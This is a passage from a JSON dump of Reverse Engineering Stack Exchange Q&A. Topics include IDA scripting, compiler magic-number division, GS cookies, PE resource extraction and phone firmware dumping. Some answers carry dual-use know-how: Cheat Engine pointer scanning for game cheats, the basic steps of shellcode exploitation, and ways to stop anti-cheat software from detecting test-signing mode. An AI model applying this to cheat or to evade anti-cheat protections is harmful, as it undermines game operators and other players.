        "Answer": "<p>use <a href=\"https://hex-rays.com/products/ida/support/idapython_docs/idc.html#idc.SetType\" rel=\"nofollow noreferrer\">idc.SetType</a> to <code>change type</code></p>\n<h4>Example</h4>\n<pre class=\"lang-py prettyprint-override\"><code>import idc\n\nfuncAddr = 0x1024D0000\nprint(&quot;funcAddr=0x%X&quot; % funcAddr)\noldFuncType = idc.get_type(funcAddr)\nprint(&quot;oldFuncType=%s&quot; % oldFuncType)\n\nnewFuncType = &quot;id objc_msgSend_arrayByAddingObjectsFromArray__1024D0000(id curObj, const char * arrayByAddingObjectsFromArray_, id someArray)&quot;\nprint(&quot;newFuncType=%s&quot; % newFuncType)\nsetTypeRet = idc.SetType(funcAddr, newFuncType)\nprint(&quot;setTypeRet=%s&quot; % setTypeRet)\nif setTypeRet == 1:\n  print(&quot;SetType OK [0x%X] %s -&gt; %s&quot; % (funcAddr, oldFuncType, newFuncType))\nelse:\n  print(&quot;! SetType failed [0x%X] %s -&gt; %s&quot; % (funcAddr, oldFuncType, newFuncType))\n</code></pre>\n<p>output:</p>\n<pre class=\"lang-bash prettyprint-override\"><code>oldFuncType=id(void *, const char *, ...)\n\nsetTypeRet=True\nSetType OK [0x1024D0000] id(void *, const char *, ...) -&gt; id objc_msgSend_arrayByAddingObjectsFromArray__1024D0000(id curObj, const char * arrayByAddingObjectsFromArray_, id someArray)\n</code></pre>\n"
    },
    {
        "Id": "19139",
        "CreationDate": "2018-08-23T01:59:57.820",
        "Body": "<p>I'm familiar with finding a player base pointer as-well as other values in games, and finding offsets and such.\nAnd I have applied that to some of my own code in the past.</p>\n\n<p>But does this practice apply to instances of any class?</p>\n\n<p>Here's an example program.</p>\n\n<pre><code>using namespace std;\n\nclass A {\npublic:\n    int i = 0;\n    virtual void doThing() {\n        i++;\n        cout &lt;&lt; i &lt;&lt; endl;\n    }\n\n};\n\nint main()\n{\n    A* a = new A();\n    while (1)\n    {\n        a-&gt;doThing();\n        Sleep(6000);\n    }\n    system(\"pause\");\n    return 0;\n}\n</code></pre>\n\n<p>I used Cheat engine to find the address of the variable <code>i</code> in <code>A::doThing</code>. Then I used the option to find what writes to that address. From there I found what appeared to be an offset, did a pointer scan and found that <code>example.exe+0x001A2EC</code> was a static pointer and the value held by <code>i</code> was at offset <code>0x4</code>.</p>\n\n<p>Would <code>example.exe+0x001A2EC</code> be considered the pointer to the instance of class <code>A</code>? </p>\n\n<p>What I'm trying to do is basically make a copy of the target program's pointer to the instance of class <code>A</code>, then access it's V-Table in my own code which is to be injected into the process.</p>\n\n<p>This is how I was trying to achieve this.</p>\n\n<pre><code>DWORD Base = (DWORD)GetModuleHandle(0);\nA* a = (A*)(Base + 0x1A2EC);\nvoid** vtable = *(void***)a;\n</code></pre>\n\n<p>If there's something wrong with my understanding or methodology please do point out what i am doing wrong, or suggest some other way which I can get a copy of the pointer.</p>\n",
        "Title": "Do all class instances have a relative address/offset and can i make a copy of any class pointer?",
        "Tags": "|decompilation|c++|offset|vtables|cheat-engine|",
        "Answer": "<p>I'll start with a few minor corrections and clarifications, just to make sure we're using the right terms and exact definitions.</p>\n\n<blockquote>\n  <p>I used Cheat engine to find the address of the variable <code>i</code> in <code>A::doThing</code></p>\n</blockquote>\n\n<p>First of all, <code>i</code> is not a variable of method <code>A::doThing</code>. It is a <em>member</em> of the <code>A</code> class.</p>\n\n<blockquote>\n  <p>Then I used the option to find what writes to that address</p>\n</blockquote>\n\n<p>Doing this gives you the address of method <code>A::doThing</code> is located. Specifically, the address at which <code>A::i</code> is modified within that method.</p>\n\n<blockquote>\n  <p>from there I found what appeared to be an offset, did a pointer scan</p>\n</blockquote>\n\n<p>I would assume you found the offset of <code>A</code> at which <code>i</code> is located, but I'm not 100% I understand what you mean by \"did a pointer scan\". I assume you subtracted the offset of <code>i</code> from the address found at the first stage (\"I used Cheat engine to find the address of the variable <code>i</code>\") to get the address of the object itself, then searched for pointers to that address.</p>\n\n<blockquote>\n  <p>Would \"example.exe\"+0001A2EC be considered the pointer to the instance of A class?</p>\n</blockquote>\n\n<p>To be more accurate, <code>example.exe+0x001A2EC</code> would be an address of a variable of type <code>A *</code> (or pointer to an <code>A</code> instance), and it's value will be the value returned by <code>new A();</code>, i.e. an instance of class <code>A</code>, as you expect. Reading it's value will point you to where that instance of <code>A</code> is currently in memory.</p>\n\n<p><strong>However</strong> several assumptions you have may change between releases or even for different compiled versions of the same code base.</p>\n\n<p>The most obvious one in your example code, is the fact you're using the <strong>exetuable's image base</strong> to access the <strong>main thread's stack</strong>. This is likely to break depending on how/where the stack is allocated for your process, and is likely to be unreliable even if executed several times in succession, depending on OS and configuration.</p>\n\n<p>Even if you somehow address that, there are multiple other potential complications and slight changes that could make your life harder. To name a few:</p>\n\n<ol>\n<li>Even if you were using the process's stack offset instead of the image base, the offset in memory where the <code>A</code> pointer variable, <code>a</code>, is located is likely to change. <em>even just between different executions of an identical binary</em>. For example, in your case <code>a</code> is stored on the stack, and if the function defining <code>a</code> could be called in several different flows, the <em>stack depth</em> at which the stack frame of the function creating <code>a</code> may differ. if a function <code>a_creator</code> may be called in either one of two flows <code>main/a_creator</code> and <code>main/game_load/a_creator</code> depending on circumstances (e.g. if you're loading a save), the offset at which <code>a_craetor</code>'s stack frame will start will be different.</li>\n<li>The offset at which <code>i</code> is located in the <code>A</code> class's internal structure, may be changed because new members were added in the code. Although normally maintain the order members are defined at, optimizations may shift them around for better alignment. Different padding configuration settings may also change the location a member is actually at.</li>\n<li>Different optimization configurations may even completely eliminate the variable <code>a</code>, only storing it in a non-volatile register. This is very likely in the example implementation you provided, for example.</li>\n<li>A new version of the program can easily create move variables and make code changes so locations will be completely off.</li>\n<li>Inheritance and casting of <code>a</code> could lead you to different VTables than the ones you were looking for, as well as other complications.</li>\n</ol>\n\n<p>I hope this did not discourage you from pursuing your goal, but encouraged you to gain a better understanding of the internals and intricate world of dynamic patching.</p>\n\n<p>As a side note I'll include a warning about anti-cheat detection tools in a lot of games could make these endeavors quite expensive (account bans, etc).</p>\n"
    },
    {
        "Id": "19144",
        "CreationDate": "2018-08-23T06:47:39.403",
        "Body": "<p>I am trying to hack health cheat for Shanghai Dragon PC Game using Cheat Engine. For that I following this <a href=\"https://www.youtube.com/watch?v=No5plevD8A4\" rel=\"nofollow noreferrer\">video</a>.</p>\n\n<p>After finding the required address, I tried to save the pointer scan address, then it gives me this warning message:</p>\n\n<p><a href=\"https://i.stack.imgur.com/DKwxA.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/DKwxA.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>How to get rid of this error during pointer scan? </p>\n",
        "Title": "How to get rid of this error during pointer scan?",
        "Tags": "|cheat-engine|",
        "Answer": "<p>That is not an error. It's a message you will receive the first time you start a pointer scan with a new address. After you've scanned once, you can save that pointermap with which to compare against the next scan related to the value you're interested in finding a persistent pointer path for. You can save each subsequent pointermap and keep comparing that way.</p>\n\n<p>The guy in the video doesn't have you do that. He has you keep the initial results window up and then keep rescanning after each restart of the game.</p>\n\n<p>That message is a confirmation letting you know that an initial scan can take up a vast amount of disk space, especially in hefty modern day games. The video you linked to uses Assault Cube as its game target, which is a very small game and shouldn't take very long to scan (nor should it take up much disk space).</p>\n\n<p>There are a few possible reasons as to why you didn't see that confirmation in the video you've linked to, so don't get too hung up on that. Just click \"Yes\" and be aware that, depending on the game you're scanning and your system, it can take anywhere from 30 seconds to 12+ hours for an initial pointer scan to complete, and your disk space can be eaten alive in the process.</p>\n"
    },
    {
        "Id": "19150",
        "CreationDate": "2018-08-24T18:56:38.640",
        "Body": "<p>I've opened a 64 bit DLL file in IDA. One function has this pseudocode:</p>\n\n\n\n<pre><code>unsigned __int64 output;\nULONG input;\noutput = (unsigned __int64)(input * (unsigned __int128)0xE38E38E38E38E38Fui64 &gt;&gt; 64) &gt;&gt; 5;\n</code></pre>\n\n<p>Here is the equivalent assembly view:</p>\n\n\n\n<pre><code>mov     rcx, r13\nmov     [rsp+56], rcx\nmov     edx, [rsp+152]\nmov     rax, 0E38E38E38E38E38Fh\nmul     rdx\nmov     r8, rdx\nshr     r8, 5\nmov     [r15], r8d\ncmp     r8d, esi\ncmova   r8d, ebx\n</code></pre>\n\n<p>When I want to compile that same code in MSVC++, it shows:</p>\n\n<pre><code>warning C4293: '&gt;&gt;': shift count negative or too big, undefined behavior\n</code></pre>\n\n<p>My question is, what does that long constant value do? Is there anything cryptic with that bit shifting?</p>\n",
        "Title": "What does this magic number do?",
        "Tags": "|disassembly|assembly|x86|compiler-optimization|",
        "Answer": "<p><em>although I flagged this question should be closed as duplicate, keeping it has some additional value because of the multiple different magic number values used, redirecting users encountering different magic values to the same resource.</em></p>\n\n<p>On modern processors, integer division is one of the slowest arithmetic operations you can have a processor perform. Often orders of magnitude slower than other arithmetic operations.</p>\n\n<p>It turns out that if divisor is constant you can avoid the expensive division operation using clever arithmetic tricks to a set of considerably faster operations (multiplications, additions and shifts), thus reaching overall faster performance at the expense of slightly larger code.</p>\n\n<p>This is often called \"division by magic numbers\" because those numbers indeed often look like randomly selected numbers, that is not, however, the case. Compilers (and sometimes humans, too) use those tricks often nowadays, since size of code is less of an issue thanks to the exponential growth of storage capacity. </p>\n\n<p>The general approach is that we can develop an equation like the following:</p>\n\n<p><code>X / Y == X * (1/Y) == sqrt((X * 2^n) * (1/Y)), 2^n) == ((x &lt;&lt; n) * 1/Y)&gt;&gt;n</code></p>\n\n<p>In your case, <code>0xE38E38E38E38E38Fui64</code> with a shift of <code>3</code> bits is the hardcoded magic number used for division by 9 for unsigned 64 bit integers. Since your code actually shifts by 5, the actual divisor equals <code>9 * 2^2</code> = <code>36</code>.</p>\n"
    },
    {
        "Id": "19152",
        "CreationDate": "2018-08-25T01:43:51.107",
        "Body": "<p>I patch the code for my work. I have a problem with code patching.\nI use IDA pro 6.8. </p>\n\n<p>I added code like this.</p>\n\n<pre><code>(Assembly)           (Hex dump)\nmov eax, 638BACh --&gt; B8 AC 8B 63 00\n</code></pre>\n\n<p>Not problem until now, but problem occurred when start debugging.\nimmediate value change like this.</p>\n\n<pre><code>(Assembly)              (Hex dump)\nmov eax, 0AC638BACh --&gt;  B8 AC 8B 63 AC\n</code></pre>\n\n<p>What's wrong with my working?</p>\n",
        "Title": "immediate value change when start debugging",
        "Tags": "|ida|patching|patch-reversing|",
        "Answer": "<p>When you start debugging, IDA automatically <em>rebases</em> your database to the actual load address of the program you are debugging. Due to ASLR, the runtime base address is very likely different from the base address IDA loaded the file to in the database. When the database gets rebased, IDA automatically patched all locations referenced by the relocation table. If the code you patched contained an absolute address before patching, you have a relocation entry for that address.</p>\n\n<p>You can verify my hypothesis by undefining the move instruction. One of the resulting \"db\" statements will have an autogenerated  \"FIXUP\" comment if there is a relocation entry affecting that instruction. </p>\n"
    },
    {
        "Id": "19162",
        "CreationDate": "2018-08-27T05:58:34.227",
        "Body": "<p>I have read many articles regarding the buffer overflow exploit. Everywhere its written as follow.</p>\n\n<blockquote>\n  <p>\"It's difficult to know the starting address of the shellcode\"</p>\n</blockquote>\n\n<p>Why do we need to know the address of the shellcode? Why does stack not execute the shellcode as it is?</p>\n\n<p>say we inject our shellcode this way</p>\n\n<p><strong>our shellcode -- some padding -- our choice of saved return\naddress</strong></p>\n\n<p>should the shellcode not be executed by default by the stack? Why do we add NOP sleds and complicate things.</p>\n",
        "Title": "Why do we need to know the address of shellcode?",
        "Tags": "|disassembly|assembly|gdb|buffer-overflow|shellcode|",
        "Answer": "<p>Exploiting a software by injecting a shellcode in its memory always requires the following steps:</p>\n\n<ol>\n<li><p>Have a way to inject your shellcode in memory (usually, it can take place in any buffer of the program).</p></li>\n<li><p>Redirect the execution flow (i.e. be able to write on the <code>rip</code>) to point to the shellcode and execute it (usually, it is done through a buffer-overflow).</p></li>\n</ol>\n\n<p>If you are not sure about the address of your shellcode, the second part of the exploitation (the redirection of the <code>eip</code>) cannot be achieved reliably.</p>\n"
    },
    {
        "Id": "19165",
        "CreationDate": "2018-08-27T11:53:19.617",
        "Body": "<p>Let's take an example of a 64 bits elf executable disassembled with pdf command in radare2:</p>\n\n<pre><code>...\n0x00400ac0      0f859c000000   jne 0x400b62\n...\n0x00400b62      90             nop\n...\n</code></pre>\n\n<p>I want to put a label on 0x00400b62 line. It is called a \"flag\" in radare2. So i type:</p>\n\n<pre><code>xxxxxx&gt; f mylabel @ 0x00400b62\n</code></pre>\n\n<p>This is great because i can see my flag when i disassemble again with pdf:</p>\n\n<pre><code>;-- mylabel:\n0x00400b62      90       nop\n</code></pre>\n\n<p>But i still see 0x400b62 in jump instructions:</p>\n\n<pre><code>0x00400ac0      0f859c000000   jne 0x400b62\n</code></pre>\n\n<p>I would like to see:</p>\n\n<pre><code>0x00400ac0      0f859c000000   jne mylabel\n</code></pre>\n\n<p>How can i do that ?</p>\n\n<p>Thanks a lot</p>\n",
        "Title": "radare2 labels are not displayed in jmp instructions",
        "Tags": "|radare2|",
        "Answer": "<p>You should use a flag name which is separated by a dot. This is intended since registers and other stuff are also flags and to avoid overriding and confusion.</p>\n\n<p>For example, instead of this:</p>\n\n<pre><code>[0x140008f9c]&gt; f mylabel @ 0x140008fde\n[0x140008f9c]&gt; pdf\n...\n|           0x140008fd5      85c0           test eax, eax\n|       ,=&lt; 0x140008fd7      7505           jne 0x140008fde\n|       |   0x140008fd9      66895c2470     mov word [local_70h], bx\n|       |   ;-- mylabel:\n|       `-&gt; 0x140008fde      3d04010000     cmp eax, 0x104             ; 260\n|       ,=&lt; 0x140008fe3      7511           jne 0x140008ff6\n...\n</code></pre>\n\n<p>Name it like this (<code>loc.mylabel</code>):</p>\n\n<pre><code>[0x140008f9c]&gt; fr mylabel loc.mylabel\n[0x140008f9c]&gt; pdf\n...\n|           0x140008fd5      85c0           test eax, eax\n|       ,=&lt; 0x140008fd7      7505           jne loc.mylabel\n|       |   0x140008fd9      66895c2470     mov word [local_70h], bx\n|       |   ;-- loc.mylabel:\n|       `-&gt; 0x140008fde      3d04010000     cmp eax, 0x104             ; 260\n|       ,=&lt; 0x140008fe3      7511           jne 0x140008ff6\n...\n</code></pre>\n"
    },
    {
        "Id": "19168",
        "CreationDate": "2018-08-27T13:41:56.003",
        "Body": "<p>I use Windows 7 64 bit, thus in order to load a test-signed driver, I need to enable test-signing mode.</p>\n\n<p>My driver bypasses some of the game's anti-cheat features to allow me to run a debugger and attach to the program.</p>\n\n<p>However, when I enable the test-signing mode and launch the game, its anti-cheat service detects test-signing is enabled and terminates the game.</p>\n\n<p>I also tried to disable the driver signature enforcement by restarting the computer and pressing <kbd>F8</kbd>, although the result is the same.</p>\n\n<p>I thought about a possible solution: set the <code>g_CiEnabled</code> variable to <code>TRUE</code> after the game's run (however, as I can't run my driver, I'd need to find a vulnerability in a signed driver and set it from there, although I think it's not worth doing all that stuff.).</p>\n\n<p>Is there an easier way to run the test-signed driver on 64 bit system without test-signing mode?</p>\n",
        "Title": "Game's anti-cheat complains when driver test-signing mode is on",
        "Tags": "|windows|x86-64|kernel-mode|driver|",
        "Answer": "<p>Sometimes the answer can really be more simple then you'd think.</p>\n<p>One approach you could take is that instead of getting your driver to load without test-signing (which seems to be your initial direction of approach), you could <em>prevent the debugged executable from detecting test-signing it on</em>.</p>\n<p><a href=\"https://social.msdn.microsoft.com/Forums/windowsdesktop/en-US/e6c1be93-7003-4594-b8e4-18ab4a75d273/detecting-testsigning-onoff-via-api?forum=windowsgeneraldevelopmentissues\" rel=\"nofollow noreferrer\">This</a> is a link with a few suggestions on how one may detect if test-signing is enabled or not, you can search for similar looking code (e.g. calls to <code>NtQuerySystemInformation</code> with the <a href=\"https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/codeintegrity.htm\" rel=\"nofollow noreferrer\"><code>SystemCodeIntegrityInformation</code></a>).</p>\n<p>An alternative solution if your main goal is researching the executable at hand, you could consider using windows versions <em>prior to Vista</em>, where loading your own drivers is far easier.</p>\n"
    },
    {
        "Id": "19178",
        "CreationDate": "2018-08-28T22:34:50.660",
        "Body": "<p>I'm working on bypassing the anti-debug checks of an unpacker in x64dbg. My end goal is to bypass all of the checks so that I can run the (unmodified) process with a debugger attached without any problems. </p>\n\n<p>To bypass the checks I've encountered so far, I have a process of ~15 actions of setting breakpoints, stepping over instructions, skipping syscalls under certain conditions, etc, and it takes at least a couple of minutes to get up to the point where I left off. </p>\n\n<p>Since doing this stuff manually is time-consuming and error-prone, I'd like to automate it.</p>\n\n<p>I was thinking of building a C++ application that will launch the executable, attach and bypass all of the checks I've solved so far, then suspend the program and detach, so that I can attach with x64dbg and resume my reversing... or perhaps it's a better idea to do this with an x64dbg plugin? What's the best way to do this?</p>\n",
        "Title": "Automating bypassing anti-debug checks",
        "Tags": "|unpacking|x64dbg|automation|",
        "Answer": "<p>You don't need any external plugin, this is already a builtin feature in x64dbg:</p>\n\n<p><a href=\"https://i.stack.imgur.com/hu9q2.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/hu9q2.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "19180",
        "CreationDate": "2018-08-29T09:55:53.030",
        "Body": "<p>I'm analyzing Android games with Fiddler 2 to see how the game collects data.\nThere is a problem, both Fiddler 2 and Charles Proxy doesn't capture any traffic from some online games. All i got are ads traffics.</p>\n\n<p>I have ensure that I have enabled proxy on Android system, have certificate installed, filtered target process and check if https decryption is working. All fine. I have reseted cert and fiddler 2 but it doesn't help</p>\n\n<p>I have heard it uses socket system, i don't know excatly what he meant.\nThis online game requests a lot of data. I checked logcat and i see that the game retrieved some json data but there is not enough infomation.</p>\n\n<p>I'm missing something there?</p>\n\n<p><a href=\"https://i.stack.imgur.com/phWHj.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/phWHj.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "Proxy debugging tool doesn't capture traffic from some online games",
        "Tags": "|debugging|android|proxy|",
        "Answer": "<p>I found another software called HTTP Debugger. It does way better job capture everything that others couldn't. It is a paid software, but it's really worth for me</p>\n<p><a href=\"https://www.httpdebugger.com/\" rel=\"nofollow noreferrer\">https://www.httpdebugger.com/</a></p>\n"
    },
    {
        "Id": "19186",
        "CreationDate": "2018-08-29T16:30:59.807",
        "Body": "<p>I'm trying to understand how this GS cookie implementation is working. From what I've read on the topic, a cookie is set during the prologue then checked again in the epilogue. Well I can see the cookie being set, but it is not like the examples I've seen online.</p>\n\n<p>prologue:</p>\n\n<pre><code>push ebp\nmov ebp,esp\npush FFFFFFFF\npush sdk.FAB99E9               ; New Exception handler\nmov eax,dword ptr fs:[0]       ; Old Exception handler\npush eax\nsub esp,14                     ; Allocate 5 DWORDs\npush ebx\npush esi\npush edi\nmov eax,dword ptr ds:[FAC635C] ; The GS cookie (.data section)\nxor eax,ebp\npush eax                       ; The GS Cookie\nlea eax,dword ptr ss:[ebp-C]\nmov dword ptr fs:[0],eax       ; Set new Exception Handler\nmov edi,ecx                    ; Address of a vector passed as arg1\nmov dword ptr ss:[ebp-20],edi  ; local variable\nmov dword ptr ss:[ebp-1C],0    ; local variable\nmov dword ptr ds:[edi],0       ; zero the vector\nmov dword ptr ds:[edi+4],0\nmov dword ptr ds:[edi+8],0\nmov dword ptr ss:[ebp-4],0     ; sets the 0xFFFFFFFF above to 0x0\nmov dword ptr ss:[ebp-1C],1\nmov byte ptr ss:[ebp-D],0\n</code></pre>\n\n<p>epilogue:</p>\n\n<pre><code>mov eax,edi\nmov ecx,dword ptr ss:[ebp-C]   ; Old Exception handler\nmov dword ptr fs:[0],ecx       ; Restore Exception handler\npop ecx                        ; Pop the GS Cookie\npop edi\npop esi\npop ebx\nmov esp,ebp\npop ebp\nret \n</code></pre>\n\n<p>The function commented as \"New Exception Handler\", does contain a Cookie check. But I've never been able to step into it.</p>\n\n<p>Can anybody explain how this works and what it might look like in C++? Or, more specific to my needs, is this a try/catch block in the original code or added by the compiler?</p>\n",
        "Title": "GS Cookie and exception handlers",
        "Tags": "|x86|buffer-overflow|exception|",
        "Answer": "<blockquote>\n  <p>The function commented as \"New Exception Handler\", does contain a Cookie check. But I've never been able to step into it.</p>\n</blockquote>\n\n<p>Since the exception handler is called only during an exception, it won't be called during normal execution, so this is expected behavior.</p>\n\n<p>As for the missing cookie check in the epilog, apparently your function is not using the plain old <code>GS</code> cookie (return address overwrite protection via simple comparison) but only the improved <code>EH+GS</code> cookie (local variables + EH data + return address protection with the extra XOR check). </p>\n\n<p>Commented function prolog (comments refer to final offsets in the frame):</p>\n\n<pre><code> push    ebp             ; [EBP+0] save old EBP\n mov     ebp, esp        ; set up ebp frame (ESP=EBP)\n push    0FFFFFFFFh      ; [EBP-4] push initial state\n push    offset SEH_1000BF50 ; [EBP-8] SEH handler for the function\n mov     eax, large fs:0 ; read SEH chain list head\n push    eax             ; [EBP-C] pointer to previous SEH record\n sub     esp, 14h        ; allocate space for local vars and move to the saved registers area.\n push    ebx             ; [EBP-18] save ebx\n push    esi             ; [EBP-1C] save esi\n push    edi             ; [EBP-20] save edi\n mov     eax, ___security_cookie\n xor     eax, ebp        ; xor the cookie to make it harder to forge\n push    eax             ; EBP-24 push XOR'ed cookie\n lea     eax, [ebp-0Ch] ; eax = &amp;SEH_record\n mov     large fs:0, eax ; insert our SEH entry at start of list\n</code></pre>\n\n<p>final stack frame layout:</p>\n\n<pre><code>EBP-30 xored EH cookie  \nEBP-2C saved edi\nEBP-28 saved esi\nEBP-24 saved ebx\nEBP-20 &lt;local variables&gt;\nEBP-0C SEH pointer to previous record\\\nEBP-08 SEH handler                    | extended SEH record\nEBP-04 EH state                      /\nEBP+00 saved EBP\nEBP+04 return address\n</code></pre>\n\n<p>In case of an exception, the check happens in the function-specific SEH handler before jumping to <code>___CxxFrameHandler3</code> which performs C++ exception handling or stack unwinding:</p>\n\n<pre><code>SEH_1000BF50:\n  mov     edx, [esp+8]    ; (1) get pointer to current SEH record\n  lea     eax, [edx+0Ch]  ; edx &lt;- original frame pointer (function's EBP)\n  mov     ecx, [edx-24h]  ; get xor'ed cookie at orig_ebp-30h\n  xor     ecx, eax        ; xor them together\n  call    @__security_check_cookie@4 ; check expected value\n  mov     eax, offset stru_10034344\n  jmp     ___CxxFrameHandler3   ; handle C++ exceptions/unwinding\n</code></pre>\n\n<p>(1) gets the second argument of the SEH handler (<code>EstablisherFrame</code>), which points to the active SEH record which was stored at <code>EBP-C</code> in the function, so we adjust it by <code>0Ch</code> to get the original <code>EBP</code> value which is used for xoring with the cookie value (originally stored at <code>[EBP-30h]</code>, or at -24h from the SEH record), and the xor result is compared with the expected value by <code>__security_check_cookie()</code>.</p>\n\n<p>I guess the compiler decided that there is no need to protect just the return address because there are no buffers in the function (see \"GS Buffers\" in <a href=\"https://msdn.microsoft.com/en-us/library/8dbf701c.aspx\" rel=\"nofollow noreferrer\">MSDN</a>), and any other overwrite will trash the EH cookie and will be detected in case of exception.</p>\n\n<p>BTW, the <code>state</code> variable at <code>[ebp-4]</code> uniquely identifies a state in the function's execution. This allows the C++ exception handler (e.g. <code>__CxxFrameHandler</code>) to destroy any automatic objects leaving their scope due to the exception and <em>unwind</em> the state to the starting one (usually value -1). So this exception handler setup does not correspond to a \"try/catch block\" but has been added by the compiler for the whole function. However, the state transitions (writes to the try level variable <em>may</em> correspond to try block boundaries (or just scope boundaries).</p>\n\n<p>For more background on Visual C++  exception handling implementation (both C-style SEH and C++ EH), check out <a href=\"http://www.openrce.org/articles/full_view/21\" rel=\"nofollow noreferrer\">my article</a> on the topic (and its references).</p>\n"
    },
    {
        "Id": "19189",
        "CreationDate": "2018-08-29T18:26:37.957",
        "Body": "<p>Sometimes a program displays images that don't exist as jpegs or bmps that come with the program so they have to be residing inside the exe itself or inside a DLL that comes with the program. So My question is, how does the program access the image in the DLL in assembly and in what format is the image typically stored there?\nI also have a question about text that the program displays but the text is nowhere to be seen either in the exe or dll, so where is that text stored or is it possibly encrypted?</p>\n\n<p>For example the \"made with Unity\" splash screen in unity.</p>\n",
        "Title": "How are images found inside DLLs accessed?",
        "Tags": "|windows|dll|pe-resources|",
        "Answer": "<p>First find the DLL or EXE file that you want to access for that resource. THe main goal is to create a handle for that resource/image file, as everything in Windows has to accessed by an object/handle.</p>\n<h2>Procedure</h2>\n<ul>\n<li>Get a handle of that DLL/EXE file with <code>LoadLibrary()</code>:</li>\n</ul>\n\n<pre><code>HMODULE hModule = LoadLibrary(&quot;FileName.dll&quot;);\n</code></pre>\n<ul>\n<li>Determine the location of that resource with <code>FindResource()</code>:</li>\n</ul>\n\n<pre><code>HRSRC hResInfo = FindResource(hModule, ResourceName, RT_ICON);\n</code></pre>\n<ul>\n<li>Retrieves a handle of the resource in memory with <code>LoadResource()</code>:</li>\n</ul>\n\n<pre><code>HGLOBAL hResData = LoadResource(hModule, hResInfo);\n</code></pre>\n<ul>\n<li>Retrieves a pointer of the resource in memory with <code>LockResource()</code>:</li>\n</ul>\n\n<pre><code>HANDLE lpBuffer = LockResource(hResData);\n</code></pre>\n<ul>\n<li>Retrieves the size, in bytes, of the resource with <code>SizeofResource()</code>:</li>\n</ul>\n\n<pre><code>DWORD dwSize = SizeofResource(hModule, hResInfo);\n</code></pre>\n<ul>\n<li>Open a handle of that resource with <code>CreateFile()</code>:</li>\n</ul>\n\n<pre><code>HANDLE hFile = CreateFile(FileName, GENERIC_ALL, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);\n</code></pre>\n<p>Change <code>RT_ICON</code> flags with the <a href=\"https://docs.microsoft.com/en-us/windows/desktop/menurc/resource-types\" rel=\"nofollow noreferrer\">Resource Type</a> that you want to access. Now use the <code>hFile</code> handle with <code>WriteFile()</code> to make a file or <code>ReadFile()</code> to read that file.</p>\n<h2>Example</h2>\n<p>Here is an example of C code to extract the first icon from <code>shell32.dll</code> and save it as <code>image.png</code> file:</p>\n\n<pre><code>#include &lt;Windows.h&gt;\n\nBOOL ExtractResource(PSTR ResName, PSTR FileName) {\n    HMODULE hModule = LoadLibrary(&quot;shell32.dll&quot;);\n    HRSRC hResInfo = FindResource(hModule, ResName, RT_ICON);\n    HGLOBAL hResData = LoadResource(hModule, hResInfo);\n    HANDLE lpBuffer = LockResource(hResData);\n    DWORD dwSize = SizeofResource(hModule, hResInfo);\n    HANDLE hFile = CreateFile(FileName, GENERIC_ALL, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);\n    BOOL result = WriteFile(hFile, lpBuffer, dwSize, 0, 0);\n    return result;\n}\n\nint main() {\n    ExtractResource(&quot;#1&quot;, &quot;image.png&quot;);\n}\n</code></pre>\n\n"
    },
    {
        "Id": "19201",
        "CreationDate": "2018-08-30T14:53:28.620",
        "Body": "<p>I have a \"MiracleBox\" software for GSM repairing and and old cell phone (Wiko Lubi 4) with a RD8851CL chip inside.</p>\n\n<p>With this MiracleBox running on Windows I can make a dump of this chip without disassembling the phone, or rewrite the phone password and a lot of more cool things...</p>\n\n<p>I had the idea to do it manually... </p>\n\n<p>I just had to connect the phone to my computer with USB and to put the phone in \"Download Mode\" (Pressing key 0 for few secs) and then I pressed \"Read\" in the software.\nIt's really easy to get a bin file with the entire firmware inside.</p>\n\n<p>I decided to open this firmware with a hexadecimal editor then I found the phone's password and I changed it and finally I rewrote the firmware to the phone with MiracleBox software.</p>\n\n<p>Now I'm looking for some help because I want to dump the chip without any MiracleBox and I want to do this with Linux...</p>\n\n<p>I plugged the phone (download mode) to my laptop running debian, then I did \"dmesg\" command in terminal.\nThis is the output of the command.</p>\n\n<pre><code>[110290.523173] usb 3-2: new full-speed USB device number 9 using ohci-pci\n[110290.720228] usb 3-2: New USB device found, idVendor=1e04, idProduct=0904, bcdDevice=34.10\n[110290.720239] usb 3-2: New USB device strings: Mfr=1, Product=2, SerialNumber=3\n[110290.720244] usb 3-2: Product: WIKO\n[110290.720250] usb 3-2: Manufacturer: Removable disk\n[110290.720255] usb 3-2: SerialNumber: USB Controller 1.0\n</code></pre>\n\n<p>Can somebody give me some explanations in way to dump the chip with linux command lines?\nIt's the first time that I try to reverse a firmware etc and I'm not a professional.... I just want to learn and progress.\nIf it's necessary, I have the full datasheet of RDA8851CL chip (It's too hard to understand for me to be honest)</p>\n\n<p>Thank you so much.</p>\n",
        "Title": "How to dump a firmware from an old cell phone with Linux?",
        "Tags": "|firmware|linux|dumping|dump|",
        "Answer": "<p>Looks like Wiko use Android as OS [based on <a href=\"http://www.wikogeek.com/]\" rel=\"nofollow noreferrer\">http://www.wikogeek.com/]</a>, so Android tricks should work here as well. </p>\n\n<p>If you need access to SoC on RDA8851CL in more \"user-friendly\" way, try to connect to it with adb:</p>\n\n<p>For Windows: <a href=\"http://kernel.wikomobile.com/WIKO_Android_USB_Driver.zip\" rel=\"nofollow noreferrer\">http://kernel.wikomobile.com/WIKO_Android_USB_Driver.zip</a></p>\n\n<p>For Linux: Follow the following manual from XDA: <a href=\"https://forum.xda-developers.com/android/software/guide-installing-adb-fastboot-linux-adb-t3478678\" rel=\"nofollow noreferrer\">https://forum.xda-developers.com/android/software/guide-installing-adb-fastboot-linux-adb-t3478678</a></p>\n\n<p>Note: Wiko generally work with MTK drivers, in case links i gave here are not work.</p>\n\n<p>After you install the software and drivers successfully, connect adb like this:</p>\n\n<pre><code>adb shell\n</code></pre>\n\n<p>This should open you the command line to your mobile device internal SoC</p>\n\n<p>Command you are looking for to dump the content is: </p>\n\n<pre><code>mkdir dump/\ncd dump/\nadb pull /path/\n</code></pre>\n\n<p>When done, content of folder on your device will be dumped to new dump/ folder.</p>\n\n<p>Note: refrain to perform \"adb pull /\" - since in Linux \"everything is a file\",  you will end up with multiple errors trying to pull /dev 